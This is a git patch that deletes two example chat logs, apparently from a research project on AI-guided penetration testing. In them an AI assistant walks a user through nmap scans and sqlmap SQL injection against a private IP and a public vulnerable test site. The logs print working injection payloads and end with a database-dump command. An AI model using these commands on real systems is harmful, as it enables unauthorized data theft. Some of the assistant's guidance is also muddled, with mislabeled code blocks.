From 7d7af5835e0b744732f452aba0af3d37d730cbca Mon Sep 17 00:00:00 2001 From: Grey_D Date: Mon, 24 Apr 2023 18:34:18 +0800 Subject: [PATCH] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20remove=20outdated?= =?UTF-8?q?=20docs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...tration Testing (12_03_2023 09_17_35).html | 272 ------------------ ...ection Tutorial (12_03_2023 10_42_27).html | 59 ---- 2 files changed, 331 deletions(-) delete mode 100644 resources/example_chat_history/SQL Injection Penetration Testing (12_03_2023 09_17_35).html delete mode 100644 resources/example_chat_history/SQL Vulnerability Detection Tutorial (12_03_2023 10_42_27).html diff --git a/resources/example_chat_history/SQL Injection Penetration Testing (12_03_2023 09_17_35).html b/resources/example_chat_history/SQL Injection Penetration Testing (12_03_2023 09_17_35).html deleted file mode 100644 index 1c9a5bd..0000000 --- a/resources/example_chat_history/SQL Injection Penetration Testing (12_03_2023 09_17_35).html +++ /dev/null @@ -1,272 +0,0 @@ - SQL Injection Penetration Testing
Gelei Deng

Yes, I understand your request. I want to remind you that the use of penetration testing tools can cause damage or disruption to the target system, so it's important to have the necessary legal permissions and to exercise caution when using them.

With that being said, please provide me with the IP address of the target machine so we can proceed with the penetration testing.

Gelei Deng
Good. Let's start with the ip address 192,168.1.125.

Great, let's start with an Nmap scan to check for open ports and services. Please run the following command in your terminal:

css
nmap -sV -p 1-65535 192.168.1.125
-

This will scan all ports and services on the target machine and provide information on their versions. Please let me know the output once the scan completes.

Gelei Deng
Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-27 01:23 IST -Interesting ports on 192.168.1.1: -PORT STATE SERVICE -21/tcp closed ftp -22/tcp open ssh -23/tcp closed telnet -25/tcp closed smtp -80/tcp open http -110/tcp closed pop3 -139/tcp closed netbios-ssn -443/tcp closed https -445/tcp closed microsoft-ds -3389/tcp closed ms-term-serv -MAC Address: BC:AE:C5:C3:16:93 (Unknown) - -Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

Thank you for the output. Based on the Nmap scan, port 80 is open which suggests that there is a web server running on the target machine. We can use SQLmap to check for SQL injection vulnerabilities in the web application.

Please run the following SQLmap command to check if there are any SQL injection vulnerabilities in the web application:

javascript
sqlmap -u http://192.168.1.125 --batch
-

This command will scan the target website for SQL injection vulnerabilities. Please let me know the output of this command.

Gelei Deng
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program - -[*] starting @ 08:54:48 /2023-03-12/ - -[08:54:49] [INFO] testing connection to the target URL -[08:54:51] [INFO] checking if the target is protected by some kind of WAF/IPS -[08:54:53] [INFO] testing if the target URL content is stable -[08:54:54] [INFO] target URL content is stable -[08:54:54] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). You are advised to rerun with '--forms --crawl=2' - -[*] ending @ 08:54:54 /2023-03-12/

Thank you for the output. It looks like SQLmap was not able to find any parameters to test for SQL injection vulnerabilities. This can happen if the web application is not vulnerable to SQL injection, or if the URL provided does not contain any parameters.

To overcome this issue, we can use SQLmap's --crawl option to crawl the website and identify pages with parameters. Please run the following command:

javascript
sqlmap -u http://192.168.1.125 --batch --crawl=2
-

This command will crawl the website up to a depth of 2 and identify pages with parameters that can be tested for SQL injection vulnerabilities. Please let me know the output of this command.

Gelei Deng
The output is below. What should I do next? Please provide the terminal input. -``` -[08:59:25] [INFO] testing URL 'http://testphp.vulnweb.com/artists.php?artist=1' -[08:59:25] [INFO] testing connection to the target URL -[08:59:27] [INFO] checking if the target is protected by some kind of WAF/IPS -[08:59:28] [INFO] testing if the target URL content is stable -[08:59:30] [INFO] target URL content is stable -[08:59:30] [INFO] testing if GET parameter 'artist' is dynamic -[08:59:31] [INFO] GET parameter 'artist' appears to be dynamic -[08:59:33] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL') -[08:59:34] [INFO] testing for SQL injection on GET parameter 'artist' -it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y -for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y -[08:59:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' -[08:59:41] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Sed") -[08:59:41] [INFO] testing 'Generic inline queries' -[08:59:42] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' -[08:59:44] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' -[08:59:45] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' -[08:59:47] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' -[08:59:48] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' -[08:59:49] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' -[08:59:52] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' -[08:59:54] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' -[08:59:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' -[08:59:56] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' -[08:59:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' -[08:59:59] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' -[09:00:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' -[09:00:01] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' -[09:00:03] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' -[09:00:04] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' -[09:00:07] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' -[09:00:09] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' -[09:00:11] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' -[09:00:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' -[09:00:13] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' -[09:00:15] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' -[09:00:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' -[09:00:18] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' -[09:00:19] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' -[09:00:21] [INFO] testing 'MySQL inline queries' -[09:00:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' -[09:00:23] [INFO] testing 'MySQL >= 5.0.12 stacked queries' -[09:00:25] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' -[09:00:26] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' -[09:00:27] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' -[09:00:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' -[09:00:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' -[09:00:44] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable -[09:00:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' -[09:00:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found -[09:00:47] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test -[09:00:52] [INFO] target URL appears to have 3 columns in query -[09:01:06] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable -GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N -sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests: ---- -Parameter: artist (GET) - Type: boolean-based blind - Title: AND boolean-based blind - WHERE or HAVING clause - Payload: artist=1 AND 4904=4904 - - Type: time-based blind - Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) - Payload: artist=1 AND (SELECT 3920 FROM (SELECT(SLEEP(5)))voTc) - - Type: UNION query - Title: Generic UNION query (NULL) - 3 columns - Payload: artist=-6307 UNION ALL SELECT NULL,CONCAT(0x7178767071,0x69447441754c6e42747454766341507546515676634b66786e4a737a61495069674f6a7158474675,0x716a707a71),NULL-- - ---- -do you want to exploit this SQL injection? [Y/n] Y -[09:01:08] [INFO] the back-end DBMS is MySQL -web server operating system: Linux Ubuntu -web application technology: Nginx 1.19.0, PHP 5.6.40 -back-end DBMS: MySQL >= 5.0.12 -```

Based on the output, the tool has found that the URL is vulnerable to SQL injection attacks. It has also identified that the backend database management system (DBMS) is MySQL.

The tool has then presented a list of different SQL injection techniques that it will test against the target to see which ones work. The tool is now in the process of testing each technique one by one and displaying the results.

It is important to note that before attempting any further actions, you must ensure that you have obtained prior authorization from the owner of the target website. Unauthorized access or testing is illegal and can result in severe legal consequences.

To proceed with the testing, you can wait for the tool to complete all of the tests, or you can interrupt the tool at any time by pressing "Ctrl+C" on your keyboard. Once the tool completes its tests, it will display a summary of the results.

To run the tool, you can open a terminal and run the following command:

javascript
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --batch
-

Note: the --batch flag is used to automatically accept all requests for user input during the testing process. This is useful when running the tool in automated scripts, but it can also make it easier to miss important details that require manual attention.

Gelei Deng
The output is below. What should I do next? Please provide the terminal input. -``` -[09:09:35] [INFO] resuming back-end DBMS 'mysql' -[09:09:35] [INFO] testing connection to the target URL -sqlmap resumed the following injection point(s) from stored session: ---- -Parameter: artist (GET) - Type: boolean-based blind - Title: AND boolean-based blind - WHERE or HAVING clause - Payload: artist=1 AND 4904=4904 - - Type: time-based blind - Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) - Payload: artist=1 AND (SELECT 3920 FROM (SELECT(SLEEP(5)))voTc) - - Type: UNION query - Title: Generic UNION query (NULL) - 3 columns - Payload: artist=-6307 UNION ALL SELECT NULL,CONCAT(0x7178767071,0x69447441754c6e42747454766341507546515676634b66786e4a737a61495069674f6a7158474675,0x716a707a71),NULL-- - ---- -[09:09:36] [INFO] the back-end DBMS is MySQL -web server operating system: Linux Ubuntu -web application technology: Nginx 1.19.0, PHP 5.6.40 -back-end DBMS: MySQL >= 5.0.12 -[09:09:36] [INFO] fetched data logged to text files under '/Users/gelei/.local/share/sqlmap/output/testphp.vulnweb.com' - -[*] ending @ 09:09:36 /2023-03-12/ -```

The output indicates that sqlmap has found three injection points from a stored session. You can proceed with exploiting these injection points by running sqlmap commands that correspond to the type of injection points that were found. For example, to exploit the boolean-based blind injection point, you can use the following command:

css
sqlmap -u <target_url> --cookie="<cookie>" -p artist --technique=B --dbms=mysql --level=5 --risk=3 --random-agent --prefix="1 AND" --suffix="&" --string="<response_string>"
-

Replace <target_url> with the URL of the target, <cookie> with the cookie used to authenticate to the target, and <response_string> with a unique string that appears in the response when the injection is successful.

Similarly, you can use other sqlmap commands to exploit the other injection points that were found. Be sure to customize the commands based on the specifics of the injection points and the target application.

Gelei Deng
zsh: no such file or directory: target_url

It seems like you didn't replace target_url with the actual URL of the target application. Please replace target_url with the URL of the target application and try the command again. For example, if the target URL is http://example.com, the command would be:

perl
sqlmap -u http://example.com --batch --random-agent --dump
-
Gelei Deng
The command output is below. What should I do next? Note to return "vulnerability identified!!!" when a vulnerability is confirmed. - -[09:13:23] [INFO] resuming back-end DBMS 'mysql' -[09:13:23] [INFO] testing connection to the target URL -sqlmap resumed the following injection point(s) from stored session: ---- -Parameter: artist (GET) - Type: boolean-based blind - Title: AND boolean-based blind - WHERE or HAVING clause - Payload: artist=1 AND 4904=4904 - - Type: time-based blind - Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) - Payload: artist=1 AND (SELECT 3920 FROM (SELECT(SLEEP(5)))voTc) - - Type: UNION query - Title: Generic UNION query (NULL) - 3 columns - Payload: artist=-6307 UNION ALL SELECT NULL,CONCAT(0x7178767071,0x69447441754c6e42747454766341507546515676634b66786e4a737a61495069674f6a7158474675,0x716a707a71),NULL-- - ---- -[09:13:25] [INFO] the back-end DBMS is MySQL -web server operating system: Linux Ubuntu -web application technology: PHP 5.6.40, Nginx 1.19.0 -back-end DBMS: MySQL >= 5.0.12 -[09:13:25] [INFO] fetching database names -[09:13:26] [INFO] fetching tables for databases: 'acuart, information_schema' -Database: acuart -[8 tables] -+---------------------------------------+ -| artists | -| carts | -| categ | -| featured | -| guestbook | -| pictures | -| products | -| users | -+---------------------------------------+ - -Database: information_schema -[79 tables] -+---------------------------------------+ -| ADMINISTRABLE_ROLE_AUTHORIZATIONS | -| APPLICABLE_ROLES | -| CHARACTER_SETS | -| CHECK_CONSTRAINTS | -| COLLATIONS | -| COLLATION_CHARACTER_SET_APPLICABILITY | -| COLUMNS | -| COLUMNS_EXTENSIONS | -| COLUMN_PRIVILEGES | -| COLUMN_STATISTICS | -| ENABLED_ROLES | -| ENGINES | -| EVENTS | -| FILES | -| INNODB_BUFFER_PAGE | -| INNODB_BUFFER_PAGE_LRU | -| INNODB_BUFFER_POOL_STATS | -| INNODB_CACHED_INDEXES | -| INNODB_CMP | -| INNODB_CMPMEM | -| INNODB_CMPMEM_RESET | -| INNODB_CMP_PER_INDEX | -| INNODB_CMP_PER_INDEX_RESET | -| INNODB_CMP_RESET | -| INNODB_COLUMNS | -| INNODB_DATAFILES | -| INNODB_FIELDS | -| INNODB_FOREIGN | -| INNODB_FOREIGN_COLS | -| INNODB_FT_BEING_DELETED | -| INNODB_FT_CONFIG | -| INNODB_FT_DEFAULT_STOPWORD | -| INNODB_FT_DELETED | -| INNODB_FT_INDEX_CACHE | -| INNODB_FT_INDEX_TABLE | -| INNODB_INDEXES | -| INNODB_METRICS | -| INNODB_SESSION_TEMP_TABLESPACES | -| INNODB_TABLES | -| INNODB_TABLESPACES | -| INNODB_TABLESPACES_BRIEF | -| INNODB_TABLESTATS | -| INNODB_TEMP_TABLE_INFO | -| INNODB_TRX | -| INNODB_VIRTUAL | -| KEYWORDS | -| KEY_COLUMN_USAGE | -| OPTIMIZER_TRACE | -| PARAMETERS | -| PARTITIONS | -| PLUGINS | -| PROCESSLIST | -| PROFILING | -| REFERENTIAL_CONSTRAINTS | -| RESOURCE_GROUPS | -| ROLE_COLUMN_GRANTS | -| ROLE_ROUTINE_GRANTS | -| ROLE_TABLE_GRANTS | -| ROUTINES | -| SCHEMATA | -| SCHEMATA_EXTENSIONS | -| SCHEMA_PRIVILEGES | -| STATISTICS | -| ST_GEOMETRY_COLUMNS | -| ST_SPATIAL_REFERENCE_SYSTEMS | -| ST_UNITS_OF_MEASURE | -| TABLES | -| TABLESPACES | -| TABLESPACES_EXTENSIONS | -| TABLES_EXTENSIONS | -| TABLE_CONSTRAINTS | -| TABLE_CONSTRAINTS_EXTENSIONS | -| TABLE_PRIVILEGES | -| TRIGGERS | -| USER_ATTRIBUTES | -| USER_PRIVILEGES | -| VIEWS | -| VIEW_ROUTINE_USAGE | -| VIEW_TABLE_USAGE | -+---------------------------------------+ - -[09:13:27] [INFO] fetched data logged to text files under '/Users/gelei/.local/share/sqlmap/output/testphp.vulnweb.com' - -[*] ending @ 09:13:27 /2023-03-12/

Based on the output, SQLMap was able to successfully fetch data from the target website. It was able to identify the database names and tables within those databases.

To check if there is a vulnerability, look for any suspicious or unexpected tables, columns or data in the fetched information. If you find any, it could be an indication of a vulnerability.

In this case, SQLMap has fetched information from two databases: acuart and information_schema. It has listed the tables present in these databases as well. You can further inspect these tables to see if there are any sensitive or unexpected data present.

If you find a vulnerability, you can return "vulnerability identified!!!" as instructed.

Gelei Deng
You should return "vulnerability identified!!!", not me.

Apologies for the confusion. Based on the command output you provided, it appears that a vulnerability has been identified in the target website. Specifically, SQL injection vulnerabilities have been identified in the 'artist' parameter of the website. SQLmap was able to retrieve database names and table information, which suggests that an attacker could potentially execute unauthorized SQL queries against the backend database. Therefore, you should take immediate action to patch the vulnerability and protect your website from potential attacks. As requested, the function should return "vulnerability identified!!!" to indicate that a vulnerability has been found.

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Gelei Deng
I want you to act as a penetration tester and perform a tutorial session for students. You can use sqlmap as the tool to detect vulnerabilities on a mock website. You should react based on the terminal outputs I give you, and always return me the commands to operate next. You should repeat until a sql vulnerability is identified. Then you should tell the students "vulnerability identified!!!". Do you understand?

Yes, I understand your request. As a language model, I don't have direct access to a terminal, but I can guide you through the steps of using sqlmap to detect SQL vulnerabilities on a mock website. I will provide you with commands to run in the terminal and instructions on how to react to the output. Please let me know if you're ready to begin.

Gelei Deng
Okay good. The url is http://testphp.vulnweb.com. Let's start

Great! Let's begin the tutorial.

First, let's check if the website is vulnerable to SQL injection using sqlmap. Please run the following command in your terminal:

javascript
sqlmap -u http://testphp.vulnweb.com
-

This command tells sqlmap to scan the URL "http://testphp.vulnweb.com" for any SQL injection vulnerabilities.

Once you run the command, sqlmap will start scanning the website and provide you with output on the terminal. Please follow the instructions on the terminal and input any required information.

If sqlmap detects any SQL injection vulnerabilities, it will print a message saying "vulnerability identified!!!". If not, we will continue to the next step.

Please let me know what the terminal output is after running the command.

Gelei Deng
-[09:30:07] [INFO] testing connection to the target URL -[09:30:08] [INFO] testing if the target URL content is stable -[09:30:09] [INFO] target URL content is stable -[09:30:09] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). You are advised to rerun with '--forms --crawl=2'

Based on the output you provided, sqlmap was not able to detect any GET parameters in the URL "http://testphp.vulnweb.com". A GET parameter is the part of the URL that follows a "?" and specifies values that are sent to the server. In order to test for SQL injection vulnerabilities, sqlmap needs to identify a GET parameter that it can inject with malicious code.

As the output suggests, let's try running sqlmap with the "--forms" and "--crawl=2" options to see if it can identify any GET parameters. Please run the following command:

javascript
sqlmap -u http://testphp.vulnweb.com --forms --crawl=2
-

This command tells sqlmap to crawl the website up to two levels deep and search for forms that contain GET parameters.

Once you run the command, sqlmap will start scanning the website and provide you with output on the terminal. Please follow the instructions on the terminal and input any required information.

If sqlmap detects any SQL injection vulnerabilities, it will print a message saying "vulnerability identified!!!". If not, please let me know what the output is.

Gelei Deng
The output is below. What should I do next? - -[1/6] Form: -POST http://testphp.vulnweb.com/search.php?test=query -POST data: searchFor=&goButton=go -do you want to test this form? [Y/n/q] -> Y -Edit POST data [default: searchFor=&goButton=go] (Warning: blank fields detected): searchFor=&goButton=go -do you want to fill blank fields with random values? [Y/n] Y -it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y -injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y -[2/6] Form: -POST http://testphp.vulnweb.com/AJAX/showxml.php -POST data: <xml><node name="nodename1">nodetext1</node><node name="nodename2">nodetext2</node></xml> -do you want to test this form? [Y/n/q] -> Y -Edit POST data [default: <xml><node name="nodename1">nodetext1</node><node name="nodename2">nodetext2</node></xml>]: <xml><node name="nodename1">nodetext1</node><node name="nodename2">nodetext2</node></xml> -SOAP/XML data found in POST body. Do you want to process it? [Y/n/q] Y -[3/6] Form: -POST http://testphp.vulnweb.com/userinfo.php -POST data: uname=&pass= -do you want to test this form? [Y/n/q] -> Y -Edit POST data [default: uname=&pass=] (Warning: blank fields detected): uname=&pass= -do you want to fill blank fields with random values? [Y/n] Y -got a 302 redirect to 'http://testphp.vulnweb.com:80/login.php'. Do you want to follow? [Y/n] Y -redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y -it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y -for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y -POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N -sqlmap identified the following injection point(s) with a total of 120 HTTP(s) requests: ---- -Parameter: uname (POST) - Type: boolean-based blind - Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) - Payload: uname=-4626%' OR 4235=4235#&pass= - - Type: UNION query - Title: MySQL UNION query (NULL) - 8 columns - Payload: uname=lhpY%' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162766a71,0x766575527352534f48484a4b624475514a72455a444455566d546c414474424e4b7767676845656a,0x717a6b7171),NULL,NULL,NULL,NULL#&pass= ---- -do you want to exploit this SQL injection? [Y/n] Y -web server operating system: Linux Ubuntu -web application technology: Nginx 1.19.0, PHP 5.6.40 -back-end DBMS: MySQL Unknown -SQL injection vulnerability has already been detected against 'testphp.vulnweb.com'. Do you want to skip further tests involving it? [Y/n] Y - -[*] ending @ 10:05:28 /2023-03-12/

Great! The output shows that a SQL injection vulnerability was identified on the website. Let's exploit it.

You can use the following command to dump the database:

kotlin
sqlmap -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=-4626%' OR 4235=4235#&pass=" --dump
-

This will dump the database and display all the data stored on the website.

Let me know if you need any further assistance.

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